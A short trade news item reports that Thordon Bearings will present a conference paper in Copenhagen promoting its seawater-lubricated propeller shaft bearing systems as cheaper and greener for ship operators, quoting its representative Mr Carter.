Going green can save the green

Thordon Bearings will present a paper at a major conference in Copenhagen next week, where the polymer bearings specialist will emphasise how the adoption of green technologies can slash ship operation costs.

“A seawater lubricated propeller shaft bearing system is the only system that guarantees compliance and has zero impact on the aquatic environment,” said Mr Carter. “No expensive environmentally acceptable lubricants are required, and there is no need for periodic aft seal replacement or aft liner maintenance.

Over 2,000 ships have been fitted with Thordon’s seawater-lubricated shaft systems, so the technology and its reliability are well proven as newbuild and retrofit solutions.

Mr Carter will present his paper on the 22nd March. He has been involved in the promotion of oil/grease free bearing systems for the marine, clean power generation and offshore industries since 1996, when he joined Canadian company Thordon Bearings.
